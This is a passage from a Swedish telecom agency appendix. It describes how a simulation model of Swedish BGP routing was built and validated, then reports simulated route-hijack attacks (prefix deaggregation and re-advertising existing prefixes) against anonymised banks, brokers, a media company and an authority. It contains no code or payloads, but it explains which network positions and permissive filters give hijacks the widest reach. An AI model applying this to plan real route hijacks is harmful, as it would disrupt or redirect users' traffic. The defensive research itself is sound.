IRRToolkit which RIPE is developing. In the simulation model, we are similarly striving to
utilise policy information in the public domain in order to configure the routers in the model.
This is why policy information was downloaded from the Routing Registry at RIPE and RADB
and interpreted by a tool that designed prefix filters in a way similar to RtConfig. In
accordance with the principle that security in the system should be overestimated rather than
underestimated, we make the assumption that all of the information available from the Routing
Registry is used by all AS in order to implement defensive filters. This is not necessarily the
case in reality, since certain information is published as information to other parties, but is not
implemented as a filter. Furthermore, we use prefix filters in the model as they should provide
the most precise filtering and thus the best protection. In fact, there are often AS path filters or
a combination of prefixes and AS paths.
National Post and Telecom Agency
103
Contents - APPENDIX 3
The policy information was downloaded for the AS encompassed by the model and parts of the
code from RtConfig were used in order to interpret the RPSL format. From this, an internal
format was set up based on XML. This is easier to manage in the ongoing process. For a router
-level model, the policy rules must also be mapped to individual routers in the model. In many
cases, this information is included in the Routing Registry, but it was missing for some AS. If
there was no router information at all about policies in an AS, the assumption was made that
the policy described applied to all border routers in the AS. In other cases, it is likely that the
router addresses were not correctly updated in the Routing Registry, so we were forced to
make approximations by picking out some of the existing information for the routers not
mentioned in the specification. Then, the policy rules had to be translated into the format that
the ssfnet network simulator uses for its configuration files. This becomes relatively
complicated for some policies that contain complex logical terms, for which reason we focused
on dealing with the designs that exist for the AS that we are interested in here.
As we cannot guarantee that policy information can be found for all AS and peering
connections, assumptions must be made about the policy in the event that no information is
available. It is obvious that the assumed non-configuration of any policy will in some cases
lead to unrealistic behaviour. For example, route information may be leaked through multihomed stub AS (customers), which would then allow transit traffic to pass through. Similarly,
ISPs could allow transit traffic to pass through for other ISPs with which they have an
equivalent peering agreement. Instead, we can make an assumption that this type of simple
mistake does not occur, and set up a generic export filter for cases with a multi-homed
customer AS and peer/peer relationships between AS. Finally, as an alternative assumption, we
can block all routes for which we have not found explicit policy information. In this way, we
have a model where as far as possible we are trying to ensure that we will never allow more
routes through than actually occurs. It should be noted that we cannot rule out additional filters
being configured that are not described in the RR database and which could block additional
routes. For the sake of comparison, we also allowed, as an alternative, simulation of the system
entirely without policies; that is, entirely without filters. This could, for example, be useful for
verifying that the model behaves as expected in certain scenarios. We expect that reality lies
somewhere between the first alternative (RRs and generic export filters) and the second
alternative (our most restrictive policy that blocks when uncertain), but that some routes may
make it through due to errors in the configuration.
4.6
Data flows
Figure 20 illustrates the data flows for building the model and we will review and summarise
the sequence here. The BGP routing tables ('RIBs') from RIPE and Route Views are
transformed into one common data format by means of the route_btoa program and the
parse_show script. The gaos_heuristic script builds on an AS topology from the
routing tables and uses Gao's heuristic [50] to label the peering relationships in the graph. This
results in a global AS topology with derived peering relationships in the following categories:
supplier/customer, peer/peer, sibling/sibling.
The build_graph script is based on the global AS graph that has been constructed. The
iterative selection process, where AS are successively chosen and added to a smaller graph that
focuses on Sweden, can commence with the help of the name list of Swedish ISPs. At each
stage of iteration, both automatic and manual assessments are made of what should be included
and how classification should take place. The result is a smaller AS graph focusing on Swedish
organisations and users. This AS graph is checked against information in the Routing Registry,
and any links missing in the graph but which are suggested through the existence of policy
declarations are added (assuming that policy declarations are available on both sides).
When the AS graph focusing on Sweden has been constructed, information about the router
level can be compiled for the AS that have been included. For every IP address occurring in the
traceroute files, the routing tables were used first followed by the WHOIS lookups to
determine which AS it belongs to. Thereafter a router level map was drawn up, which was
subsequently simplified to focus on border routers and how these are linked. The
104
National Post and Telecom Agency
- APPENDIX 3
build_graph script linked together the router level topology and the more abstract AS level
topology.
When the focus topology has been constructed, additional information ('attributes') is added to
both market shares and routing policy. These are dealt with by a separate module in the
build_graph script. The result is a model of the Swedish part of the routing system in the
Internet, which is read to a file in XML-based format. It contains information about all of the
AS that are to be included in the simulation model, those that have significant market shares,
those that have peering connections with each other, the router level topology and the routing
policy information found in the Routing Registry. The XML description of the network,
together with a description of the attack scenario to be simulated (also in an XML-based
format) serve as input data for creating the simulation model in a form to be interpreted by the
network simulator. Based on these XML files, the xml2dml script generates a configuration
file for the network simulator in its 'Domain Modeling Language' (DML) format, which
describes in detail the network and scenario to be simulated. The DML file is then loaded and
run in the simulator.
RIPE RIBs
route_btoa
ASCII MRTformat RIBs
Routeviews RIBs
parse_show
List of
swedish ISPs
ISP list
module
traceroutes
ip2asn
gaos_heuristic
Labeled global
AS graph
build_graph:
construct
focus topology
traces2map
build_graph:
router topology
module
Inspect &
correct
focus ISPs
focus customers
ISP market
share data
Customer
data module
RIPE Routing
Registry data
RPSL policy
interpreter module
build_graph:
add attributes
focus neighbors
Model
XML
xml2dml
Attack
scenario XML
Simulator
DML
Run
simulation
[Amendments to figures above:
change 'Routeviews RIBs' to 'Route Views's RIBs'
change 'List of swedish ISPs' to 'List of Swedish ISPs'
change 'Labeled global AS graph' to 'Labelled global AS graph'
change 'focus neighbors' to 'focus neighbours']
Figure 20.
Data flow for constructing the simulation model.10
This figure uses a number of scripts and programs that are used for data processing; for
example, route_btoa, parse_show, build_graph, och xml2dml.
10
National Post and Telecom Agency
105
Contents - APPENDIX 3
When the model was initially validated, however, it was observed that there were problems
with the quality of the policy information retrieved from the Routing Registry. For example, a
manual comparison of the routing information and policies for certain prefixes of special
interest to the study suggested that the policy for these prefixes had not been updated in certain
AS objects in the Routing Registry. If it was not possible to rectify this, the model's users
would not be able to reach these destinations. The only additional information about policies in
the public domain is what can be derived from the routing information. (For example, since
Gao's heuristic roughly categorises the relationship, and thus the policies, between different
AS.) Based on observations from the routing data, we can thus at least draw conclusions about
which routes (prefixes) the AS allow to pass through their filters along the path (AS path) that
the route has propagated up until the collection point. In this way, small corrections to the
policy filters in the model were generated, based on the routing information, along the actual
routes observed in the system. These corrections (also referred to here as 'policy patches'),
which comprised add-ons to the import and export filters that permitted the specific prefixes
observed in the routing table, were added to the policy rules retrieved from the Routing
Registry. Figure 21 illustrates how the data flow was changed to enable policy patches to be
introduced to the model. The dark parts of the figure have not changed from Figure 20 and the
light parts show how the new modules fit into the previous data flow.
RIPE RIBs
route_btoa
ASCII MRTformat RIBs
Routeviews RIBs
parse_show
List of
swedish ISPs
ISP list
module
traceroutes
ip2asn
ISP market
share data
Customer
data module
RIPE Routing
Registry data
gaos_heuristic
Labeled global
AS graph
build_graph:
construct
focus topology
build_graph:
router topology
module
traces2map
RPSL policy
interpreter module
Inspect &
correct
focus ISPs
build_graph:
add attributes
focus customers
Model
XML
focus neighbors
Extract
prefixes
Policy patch XML
Policies from
routing data
Prefixes in
model
xml2dml
Attack
scenario XML
Simulator
DML
Run
simulation
[Amendments for figure:
Change 'Routeviews RIBs' to 'Route Views's RIBs'
Change 'List of swedish ISPs' to 'List of Swedish ISPs'
Change 'Labeled global AS graph' to 'Labelled global AS graph'
Change 'focus neighbors' to 'focus neighbours']
106
National Post and Telecom Agency
- APPENDIX 3
Figure 21.
4.7
Amended data flow for constructing the simulation model with policy patches
Validation
Verification of the correctness of simulation models is usually divided into two types of
activity:
• Verification means that model implementation (i.e. the entire simulator program)
behaves according to the conceptual model or specification. This can be likened to
typical program testing for identifying and rectifying program errors. In our case, the
verification encompasses checks that the simulator is correctly implementing the
protocol as specified by the relevant RFC documents and possibly with modifications
to correspond to typical behaviour of equipment from the dominant suppliers in the
market. The SSFNet simulator contains a number of regression tests that monitor the
behaviour of certain BGPs. As previously mentioned, the simulator was also used for
a number of previous research studies. A few small errors and unclear points in the
implementation of BGP were also rectified during the course of the project.
• Validation means checking that the model corresponds to reality, which also
encompasses the assumptions made when the model was constructed. This is
generally more difficult than verification and will, for this reason, be described more
here. Validation can take place by experts reviewing the model, comparing data from
the actual system and/or by experts checking the output data from the simulation in
order to study the plausibility of the results. In this study, we principally use
comparisons with compiled routing data to verify the model's correspondence to
reality.
Since the construction of the model consisted of many steps, it is appropriate to discuss the
different steps and in certain cases to check their outcome. Finally, in Section 4.7.5, we
compare the model's correspondence to reality by comparing information about the received
routes gathered from RIPE's collection point in Stockholm (rrc07) and a looking glass server in
AS 1299 with corresponding information compiled in the simulation model.
4.7.1 AS topology
For optimal AS topology, it is important to start from routing information that has been
collected from as many points in the network as possible. At this time, Route Views collected
routing information from 36 different global points in the Internet. In order to attempt to ensure
good coverage of the Swedish part in particular, we also used RIPE data collected from
Netnod's exchange point in Stockholm. However, as only the routes used at the specific times
when the information is being collected will be viewed, there is a known tendency to miss a
number of peering connections; for example, local peering links between operators that are not
visible globally and backup links that are not being used at the time. It is highly likely that this
is the main reason for there being a large number of customer AS that only seem to have one
connection in the model (see Figure 18), despite the fact that RIPE's policy is to only distribute
AS numbers to AS with at least two connections [54]. However, routing information is the
most well-known source of public data in terms of AS connectivity, so the only way to verify
its correctness would be to request information directly from operators. This type of
information is viewed as a trade secret, so the potential for doing so is limited. In Section 4.7.4
we will instead carry out a check by studying the agreement between the AS topology and the
policy information retrieved from the Routing Registry.
4.7.2 Router topology
The first step in creating a router map was to determine which AS different IP addresses
belonged to by means of routing tables. Out of a total of 3 181 IP addresses in the traceroute
files, there were only 24 cases where AS numbers could not be found. Some of these are
private addresses (e.g. within 10.0.0.0/8) and, with the exception of three or four cases, the
National Post and Telecom Agency
107
Contents - APPENDIX 3
others were of little importance to the model as they belonged, as suggested by the DNS name,
to networks outside Sweden. The routers that cannot be assigned a certain AS are left in the
topology when it is reduced in order to simplify the internal structure of the AS networks.
However, it is difficult to judge the quality of the alias resolution and the resulting router level
map. This could take place by gradually adding data and studying the differences or by trying
to request that operators make an assessment based on their network.
4.7.3 Market shares
In most cases, it is straightforward to go from market shares (number of customers) per ISP to
the number of customers per AS in the Swedish market, as most ISPs only have one AS.
However, some large operators, such as TeliaSonera and Telenor, have several AS. These are
generally constructed so that one AS deals with the Swedish market (e.g. AS3301 TELIANETSWEDEN) while other AS function as an international backbone for transit customers
(AS1299 TELIANET) or deal with other markets. In this way, we can relatively accurately
make the assumption that Swedish private customers belong to the AS that deals with the
Swedish market.
4.7.4 Routing policy
The AS topology chosen consists of 167 AS and 467 peering links. If we observe the
termination points of these links, we have 934 of them. Import/export policies (either import or
export or both) registered in the Routing Registry were found for 869 of these termination
points, while 65 termination points did not have a registered policy. In other words, policies
were registered in most cases. However, there were also policies in the Routing Registry for an
additional 854 peering termination points. These are either peering links that were not visible
in the routing tables because no routes that reached the collection point went through them (e.g.
local peering or backup links), or because the policy information was out of date and reflected
peering connections that no longer exist. It is likely that in most cases these refer to links that
are not visible in the routing table, and only a minority are due to outdated information. We
subsequently added these links to the AS topology, but in order to avoid outdated information,
it was necessary for policies to be registered in the AS on both sides of the link. This resulted
in the addition of 235 peering links.
The correctness of the filter construction mapping from RPSL in the Routing Registry to DML
in the configuration file in the simulator was verified manually for several AS, and the route
exchange sequence in certain verification simulations was verified manually in detail against
the Routing Registry. (In particular, the simulations discussed in Section 5.1.1.)
4.7.5 Prefixes and routes
We began by studying the number of prefixes in the model. The prefixes advertised in the
model are mainly collected from RIPE's rrc07 collection point, which peers with AS connected
to Netnod's exchange point in Stockholm and also from a looking glass server in AS 1299
(referred to here as 'lg1299'). The 2698 prefix was advertised in the model, which serves as the
union of prefixes observed from rrc07 and lg1299. An initial simple verification involves
checking that if no routing policies are configured in the model, all 2698 prefixes should be
propagated to both measurement points in the model, which also happens to be the case. The
next step is to check how the routing information is propagated in the model when we
configure policies.
The policies published in the Routing Registry do not affect the information that is advertised
to the rrc 07 collection point, but manual inspection of the routing tables suggests that
restrictions corresponding to what should be advertised over the exchange points, i.e. only
108
National Post and Telecom Agency
- APPENDIX 3
local peering and not transit routes to other AS at the exchange point or upstream AS.11 For a
correct comparison, corresponding restrictions were implemented at the simulated collection
point.
Figure 22 illustrates a comparison between the number of prefixes that were actually collected
and the prefixes occurring in the model with routing policies from the Routing Registry; that is,
with a data flow according to Figure 20. As suggested by the figure, there are obvious
inadequacies in the routing policies that we collected from the Routing Registry, as we
observed that around half of the routes were missing for lg1299 and rrc07's peer AS8434.
Manual verifications were carried out in selected cases, which showed that policy information
was missing in the Routing Registry. Since we assumed that if the policy information was
missing for a prefix, there should be a filter in place blocking the route, so these routes will not
reach the measurement points.
Antal prefix ("svenska")
3000
2500
2000
mottagna, verkligt
mottagna, simulerat
1500
1000
500
0
lg1299 rrc07,
peer
3246
rrc07,
peer
3301
rrc07,
peer
8434
rrc07,
peer
8642
rrc07,
peer
16150
[Text for figure: Vertical axis: Number of prefixes ('Swedish')
Box to right of graph: received, actual
received, simulated]
Figure 22. Validation results for the number of routes (prefixes) in the model with a routing
policy from the Routing Registry (Figure 20).
3301 does not advertise 1299 or other IX AS. 3246 does not advertise 1257 or other IX AS.
8642 does not advertise 1299 or IX AS. 16150 does not advertise other IX AS or 1653,8210,8473.
However, 8434 appears to advertise all routes to the collection point.
11
National Post and Telecom Agency
109
Contents - APPENDIX 3
In other words, it would be desirable to have some form of improvement of the existing
information in the Routing Registry. As there is no more immediate information about router
configurations available to us, we instead attempt to see if it is possible to carry out
improvements by deriving certain policy information from the routing data that we used to
construct the model. We can observe from the routing tables the AS paths that the routes have
propagated in order to reach the collection points. Thus, we know that these AS must have
filters that permit transit traffic for the observed prefixes according to the observed paths. For
this reason, we attempt to correct the model slightly by constructing additional filters based on
the AS paths that we observed in the retrieved routing tables, according to the data flow in
Figure 21, and then achieved the results shown in Figure 23. These indicate a marked
improvement, as most of the prefixes that were actually observed are also reflected in the
model.
The model does not contain any aggregation of prefixes, i.e. the prefixes observed at the
measurement points may originally have been more specific prefixes aggregated by an AS
along the path. The aggregator attribute in the routes received was verified in order to see the
extent to which this takes place and could affect the correctness of the model. However, only a
small proportion (136 routes) were indicated as aggregated for the 2698 prefix used in the
model. The lack of aggregation in the model should thus not be of any great importance to the
experiments in this study.
Antal prefix ("svenska")
3000
2500
2000
mottagna, verkligt
mottagna, simulerat
1500
1000
500
0
lg1299 rrc07,
peer
3246
rrc07,
peer
3301
rrc07,
peer
8434
rrc07,
peer
8642
rrc07,
peer
16150
[Text for figure: Vertical axis: Number of prefixes ('Swedish')
Box to right of graph: received, actual
received, simulated]
Figure 23. Validation result for the number of routes (prefixes) in the model with a routing
policy from the Routing Registry and with policy patches from the routing tables
(Figure 21)
Manual verification of selected, remaining discrepancies indicates that these are the result of a
lack of certain peering connections in the model. This could possibly be improved by including
110
National Post and Telecom Agency
- APPENDIX 3
all of the peering connections mentioned in the policies in the Routing Registry (not only those
where both sides agree), but there is then also a risk of including old information when one
party has not updated a policy.
What remains is the issue of whether the routes received in the model are correct; that is, if the
attributes belonging to the route correspond to reality. Here, we focus on the AS path attribute,
which describes the path that traffic will take through the network. For the received prefixes in
the model that correspond to reality (Figure 22) , we obtain routes from one or more
neighbours to the collection point (which then have different AS paths). We verify the AS path
for the routes in the model whose prefixes correspond to reality (Figure 23) and calculate the
number of cases in which observed AS paths correspond or do not correspond to the AS path
observed in the actual routes at the corresponding measurement point (and for the same peers).
In addition to the number of prefixes (as in Figure 23), Figure 24 also shows the number of
matching and incorrect AS paths. In other words, the number of routes that we observed as
correctly represented in the model is the proportion that also has matching AS path attributes.
However, for the majority of measurement points, most routes are also correctly represented in
this respect. Note that the total number of matching and non-matching AS paths may be
greater than the number of prefixes, as several routes with the same prefix are received from
different neighbours.
Other route attributes, such as communities, for example, were not specifically verified.
However, if the policy is otherwise correct, the consequence of other attributes being incorrect
will be reflected by the fact that the wrong route, and consequently the wrong AS path, is
chosen somewhere along the way, and probably also at the collection point. If we exclude
cases where the AS path is correct 'by accident', the existing verification consequently provides
a form of indirect verification of certain other aspects of routing information.
3000
2500
mottagna prefix, verkligt
Antal
2000
matchande prefix,
simulerat
matchande AS-path
1500
1000
felaktiga AS-path
500
0
lg1299 rrc07, rrc07, rrc07, rrc07, rrc07,
peer peer peer
peer peer
3246 3301 8434 8642 16150
[Text for figure: Vertical axis: Number
Box to right of graph:
National Post and Telecom Agency
prefixes received, actual
matching prefix, simulated
matching AS path
wrong AS path]
111
Contents - APPENDIX 3
Figure 24.
Validation results for the AS path attribute in routes received
The routes to the organisations against which we will simulate attacks are of particular interest
here and were verified in particular. The routing tables from lg1299 and rrc07 peer 8434
contain the most complete information and are therefore of most interest. The results of these
two measurement points are summarised in Table 2 below.
Table 2. Validation of routes to target organisations
Route
Commercial bank 1
Commercial bank 2
Internet broker 1
Internet broker 2
Media company
Public authority
4.8
lg1299
The prefix exists and AS path is OK
The prefix exists and AS path is OK
The prefix exists, but AS path
deviates
The prefix exists and AS path is OK
The prefix exists, but AS path
deviates
The prefix exists and AS path is OK
rrc07 peer 8434
The prefix exists and AS path is OK
The prefix exists and AS path is OK
Prefix missing
The prefix exists, but AS path deviates
Prefix missing
The prefix exists, but AS path deviates
Conclusions about validation
The final verification of the model's correspondence to reality carried out here was to observe
how routing information received at a number of measurement points in the model corresponds
to reality. This verification of routing information received at a few points in the system
obviously does not paint a complete picture of the correctness of the model. However, the
results nevertheless indicate that a relatively satisfactory correspondence to the actual system
can be achieved if it is possible to supplement it with certain policy information derived from
the routing tables in addition to the policy information from the Routing Registry.
112
National Post and Telecom Agency
- APPENDIX 3
5 Simulation experiments
Here, we simulate two types of attack in order to study the extent to which Swedish Internet
users could be affected. The first type is an attack where we assume that the attacker is able to
change router configurations or in some other way inject false routing information into the
system. In this way, traffic can be redirected, possibly to falsified destinations or solely for the
purpose of disrupting traffic. The second type of attack simply aims only to disrupt the system
and assumes that the attacker can trigger an error that makes one or more routers repeatedly
crash and restart.
5.1
Advertising false routes
The advertising of false routes can occur through errors ('route leakage'), an attack through a
configuration change (insiders or intrusions), or possibly the injection of a route in an
unprotected peering connection. There are basically three types of false routing information.
First, we differentiate between an advertisement of prefixes within
• use of an address block; or
• prefixes within a space that is not being used; what is known as a bogon prefix.
Attacks in the form of advertisements of bogon prefixes, for example, take place to make it
more difficult to trace other attacks or for the sending of spam. Here, however, we are more
interested in the first type of attack, where a conflict arises with correct routes which in turn
can be divided into two types. Assume that prefix PA is advertised correctly by AS A, and AS X
is one or possibly more AS where the attack is initiated from and which is consequently not
entitled to advertise PA.
• If PA is advertised by AS X, we call this an attack using an existing prefix. The false
route will be chosen where it is given higher preference and will then redirect traffic
to AS X.
• AS X deaggregates PA to several more specific prefixes: PA1, PA2, etc. According to IP
packet forwarding rules, the most specific prefix is always chosen for a certain
destination address. Consequently, prefixes from the set {PA1, PA2, ...} will always be
preferable to the PA of all AS (routers) that accept routes for these prefixes, and the
traffic will be redirected to AS X.
5.1.1 Example scenarios: deaggregation from the AS of Swedish
ISPs
In a first series of experiments, we studied attacks against our different target organisations:
two large commercial banks, two Internet brokers, a newspaper (media site) and a public
authority. By using this model, we can systematically investigate the effects of initiating
attacks from different points (AS) in the network. The result of a deaggregation attack initiated
from different AS belonging to Swedish ISPs is monitored for each target organisation,
focusing on the attacks affecting most users.
We first concentrate on attacks on commercial bank 1 at AS A. The greatest impact on users is
caused by an attack initiated from within an AS belonging to a large Swedish ISP, known here
as AS X, which could affect more than 60% of users. More dominant stakeholders tend to have
more impact since they have large market shares of users in addition to the fact that they have
higher connectivity. Policy data also suggests that other stakeholders also tend to depend more
on the largest stakeholders, or alternatively that it is difficult to filter large amounts of
incoming prefixes from larger ISPs.12 Three of the neighbours closest to X that have accepted
the route from X and have significant market shares are verified. According to RR policy, these
accept all routes coming from X ('import any'). One of these was AS Y, which belongs to
No detailed analysis was made to investigate this. However, a greater confidence in the largest
stakeholders acting correctly seems to agree with what could be expected.
12
National Post and Telecom Agency
113
Contents - APPENDIX 3
the same ISP. (Thus, the fact that AS Y is affected is trivial and the attack could just as well
have also been initiated from Y.) Information was disseminated from AS Y to an additional
three customer AS that have their own users. These also accept all routes from Y. As the ISP
owning X and Y has a relatively central position, many users will consequently be affected.
One more interesting case is an attack from an AS, referred to as AS Z, which does not have an
especially significant market share itself, but which according to the results could affect around
20% of Swedish users by affecting other AS. Z successfully affects only three AS. However,
Z's route is first accepted by AS A, which has a relatively large market share, and is then passed
on to one of its customers with additional users and in this way affects a relatively large
proportion of Swedish users. If we assume that the customers at the bank are relatively evenly
spread between different ISPs (distributed in accordance with the overall Swedish population),
20% of its customers could be affected.
If we then consider attacks on commercial bank 2 at AS B, we will observe that there is a
tendency for our attacks from the same AS in the case of commercial bank 1 to have the most
impact. However, there are also some interesting cases here with ISPs that can indirectly affect
a larger market share than they have themselves. For example, a couple of AS, which can
affect approximately 20% of the users despite not having significant market shares themselves,
and another couple of AS, which can affect approximately 6% more users than they control
themselves.
Simulations were also made of attacks on Internet brokers, i.e. stock market brokers whose
customers conduct trading by logging onto the brokers' web-based systems. It is crucial to
these companies that the system is always accessible to customers, as in a worst case scenario
disruptions can cause considerable losses as transactions cannot be executed as planned. We
studied two AS, C and D, belonging to Internet broker 1 and 2 respectively.
Internet broker C is multihomed to B and two other ISPs; we will call these AS H and J.
Attacking C should consequently be more difficult than just attacking B, since correct
information is also disseminated from H and J. On the other hand, we assume that attacks can
now also come from B, H or J, e.g. from an insider. (Here, we do not simulate a case using an
attack from several directions simultaneously.) Once again, an attack against AS X results in
the greatest impact (more than 60% of users). However, there are also four other attack points
(AS), affecting between 6% and 20% of users which do not belong to them.
Internet broker D is also multihomed, but to three other ISPs. We will call these AS K, L and
M. However, the result is still similar; that is, through its key position, AS such as A, B and X
can still affect many customers with results similar to those for Internet broker C. An exception
is an attack from AS W, which in this case may affect approximately 10% of users, despite its
own very small share of users.
The media company and public authority also have their own AS. The media company's AS, E,
is a transit customer at W and L, and the public authority's AS, F, is a transit customer at A, B
and an international ISP, U. The results in these cases were also verified for cases where they
had the most impact on users and were found to be similar to the attacks on other
organisations.
5.1.2 Systematic quantification: consequences of deaggregation
attacks
The systematic experiments can also be observed in their entirety in order to compile statistics
for different scenarios. We first studied deaggregation attacks on commercial bank 1. Figure 25
shows several histograms of how attacks initiated from different points in the network
(different Swedish ISPs' AS from Table 2, Appendix C) affected customers attempting to
contact commercial bank 1's network. We consequently assume in each experiment that the
attack is initiated from one AS (never several at once), as this appears to be the most likely
situation. To the top left, the figure shows the number of AS affected (i.e. AS choosing the
114
National Post and Telecom Agency
- APPENDIX 3
false route information). Here, we do not include the AS from which the attack is initiated. The
number of AS affected can be read from the x axis and the number of attack points that
resulted in so many AS being affected can be read from the y axis. Out of attempted attacks
from 59 different AS (60 less the target of the attack), attempts from just over 25 AS failed in
the sense that no other AS were affected, and most attack attempts affected fewer than 20 other
AS. The results nevertheless indicate that the bank could be affected by attacks from many
different directions.
National Post and Telecom Agency
115
Contents - APPENDIX 3
Figure 25. The impact of deaggregation attacks on commercial bank 1. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) affected. (Each column indicates the number of attack points that
affect a certain proportion of users.) This case only includes attacks affecting more
than zero users. Bottom left: histogram showing the proportion of users (based on
the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
However, a factor that is more important than the number of AS affected is the number of bank
customers that are affected. We observed the market shares of the AS affected in order to get
an understanding of this. Here, we also included customers belonging to the AS from which the
attack was initiated, as these would also be affected. The histogram to the top right illustrates
the proportion of customers, from Sweden's total number of Internet users according to PTS's
market survey, that were affected by attacks from different AS (cases where more than 0%
were affected). In most cases, fewer than 10% of users were affected. However, in a few
individual cases, between 60% and 70% may be affected. Consequently, more than 50% of the
attacks tested led to other AS being affected, and approximately 40% resulted in a significant
proportion of users being affected.
However, it should be borne in mind that attacks initiated from some AS have a large impact
on users quite simply because the AS itself contains a large proportion of users. In order to
more clearly illustrate the impact of an attack outside the AS itself, Figure 25 shows a similar
histogram of the proportion of users affected outside the attacking AS. The number of attacks
affecting other AS customers in this way is somewhat lower, but the distribution is very similar
to the overall user impact. Furthermore, it is still apparent that a relatively large number of
attacks tested, here approximately 27%, result in an impact on users.
Figure 26 shows corresponding histograms for attacks on commercial bank 2. Qualitatively,
results are very similar (almost identical to) the previous results for attacks on commercial
bank 1. Only a few small differences can be discerned. An attack point affecting 12 AS has
been added and the attack point affecting 27 AS has disappeared. The changes that are visible
to users affected also correspond exactly to these changes. As regards the impact on customers
outside the attacking AS, there is an addition within the interval below 10%.
Corresponding histograms for attacks against the two Internet brokers, the media company and
the public authority also show great similarity to the attacks on the commercial bank. As the
results are so similar, they are accounted for in Appendix D, Figure 31 to Figure 34. Here it is
also shown that a large proportion of the attacks tested resulted in effects on other AS and
users, but that in many cases a smaller proportion of users may be affected.
At first glance, it may seem odd that the results are so similar for attacks on different
organisations. Consequently the results indicate that it is not as important as to the prefix or AS
that is attacked, but rather it is the origin of the attack that determines whether or not it will be
successful. However, the explanation probably lies in the form of the attack. Deaggregation
takes place by attacking AS advertising one prefix (or more) not found in the rest of the system
(as this is more specific than the correct prefix). If the route sets found in RR are correctly
defined, then only the rules that approve the import/export of random prefixes will allow the
attacker's advertised prefix to pass through. Consequently, it is the policy framework governing
the AS where the attack is carried out rather than the target AS that determines the outcome of
the attack. Basically, it could be said that the simulation of this type of attack can be broken
down into a calculation of the recursive closure of the 'import/export any' policy relationships
from the attack point. The situation is different when advertising an existing prefix for two
reasons:
116
National Post and Telecom Agency
- APPENDIX 3
•
A choice will be made between the correct route and the attacker's advertised route,
where the route with the greatest preference is chosen. If the attacker's advertised
route at a certain router has a lower configured preference or, for example, a longer
AS path, it will not be chosen and will consequently not have any effect there or in
other routers receiving their routes for the destination from this router.
• Depending upon where the route is advertised, it is now possible that certain prefix
filters permitting the original destination are allowed to pass through. However, it may
still be blocked by an AS path filter.
Attacks where the existing prefix is advertised will be discussed in the following section.
National Post and Telecom Agency
117
Contents - APPENDIX 3
Figure 26. The impact of deaggregation attacks on commercial bank 2. Top left: histogram
showing the number of AS affected. (Each column indicates the number of attack
points that affect a certain number of AS. The number of AS is indicated on the x
axis.) Top right: histogram showing the proportion of users (based on the market
shares of ISPs) affected. (Each column indicates the number of attack points that
affect a certain proportion of users.) This case only includes attacks affecting more
than zero users. Bottom left: histogram showing the proportion of users (based on
the market shares of ISPs) over and above those affected within the attacking AS.
(Each column indicates the number of attack points that affect a certain proportion
of users.) This case also only includes attacks affecting more than zero users.
For the sake of comparison, a second series of experiments was conducted where attacks were
initiated from different customer AS instead (customers in Table 2, Appendix C). As
mentioned in Section 1.4, it is normal for routes from customers to be filtered. The results also
indicate that this is often the case. Overall, very few attacks from customer AS successfully
affect other AS, and when this does happen very few AS are affected (at most five in the
experiments). The impact on customers is just as rare, and only in one case was a significant
proportion of customers affected (in this case, around 6%).
A similar comparison was also made with attacks initiated from AS that were classified as
foreign 'neighbours' (neighbours in Table 2, Appendix C); for example, certain large foreign
ISPs. It may be difficult to protect oneself from errors arising from further up in the hierarchy
(i.e. from suppliers upstream) due to the complexity of the filters needed. Therefore, several
cases of a more serious nature could be expected. However, according to the Routing Registry,
certain key AS in the Swedish part also filter against large foreign ISPs, which also indirectly
protects other stakeholders. Furthermore, filtering occurs during peering, which blocks further
dissemination in certain cases when routes are accepted at the first phase. For this reason, the
consequences of these cases are not more serious than for previously studied attacks. The
results indicate that attacks from a number of different AS can have a significant impact on
Swedish customers (up to 20 AS and 20% of users), but at the same time this is less than for
some of the cases that were previously studied.
5.1.3 Systematic quantification: consequences of attacks using
existing prefixes
As previously, we now permitted attacks to be initiated from different AS belonging to
Swedish ISPs (different ISP AS from Table 2, Appendix C), but in this case the same prefixes
were advertised as the original prefixes (i.e. no deaggregation). Figure 27 illustrates the results
of attacks on commercial bank 1, which were compiled in the same way as previously. We
observed a somewhat smaller effect as regards the number of AS affected, the proportion of
users affected and the proportion of users affected outside the AS itself. Overall, the attacks
have less impact than the corresponding deaggregation attacks. This is approximately what
could be expected, as in this case we made a preference comparison between the original route
and the injected route, which in many cases may result in the injected route being rejected.
Figure 28 illustrates the corresponding results for attacks directed at commercial bank 2. This
case also shows a slight reduction in the consequences in terms of the number of AS affected
and the proportion of users. However, attacks using existing prefixes show greater differences
between the different targets, commercial banks 1 and 2, than for the deaggregation attacks.
(We stated previously that the differences between the different organisations attacked were
almost non-existent for deaggregation attacks.)
118
National Post and Telecom Agency
- APPENDIX 3
When we continued with attacks on the two Internet brokers, in Figures 29 and 30, the results
suggested the possibility of a couple of cases with a markedly greater impact compared with
the deaggregation attacks (more than 90% of customers affected). Here, the difference is that
there is a possibility of the Internet brokers' supplier AS being affected, and since the filters
upstream from these AS accept the injected prefixes, these can then be propagated higher up in
the hierarchy and have a greater impact. Naturally an attacker who can manipulate the network
of an organisation's supplier can affect traffic in several ways but, in large networks in
particular, the opportunities of affecting the routing system (either IGP or BGP) may provide
additional control from places in the network where it is otherwise not possible to access the
intended traffic.
Appendix D illustrates overall results of attacks using existing prefixes based on AS belonging
to Swedish ISPs.
National Post and Telecom Agency
119
Contents - APPENDIX 3
Figure 27. The impact of advertising existing prefixes on commercial bank 1. Top left:
histogram showing the number of AS affected. (Each column indicates the number
of attack points that affect a certain number of AS. The number of AS is indicated
on the x axis.) Top right: histogram showing the proportion of users (based on the
market shares of ISPs) affected. (Each column indicates the number of attack
points that affect a certain proportion of users.) This case only includes attacks
affecting more than zero users. Bottom left: histogram showing the proportion of
users (based on the market shares of ISPs) over and above those affected within the
attacking AS. (Each column indicates the number of attack points that affect a
certain proportion of users.) This case also only includes attacks affecting more
than zero users.
120
National Post and Telecom Agency
- APPENDIX 3
Figure 28. The impact of advertising existing prefixes on commercial bank 2. Top left:
histogram showing the number of AS affected. (Each column indicates the number
of attack points that affect a certain number of AS. The number of AS is indicated
on the x axis.) Top right: histogram showing the proportion of users (based on the
market shares of ISPs) affected. (Each column indicates the number of attack
points that affect a certain proportion of users.) This case only includes attacks
affecting more than zero users. Bottom left: histogram showing the proportion of
users (based on the market shares of ISPs) over and above those affected within the
attacking AS. (Each column indicates the number of attack points that affect a
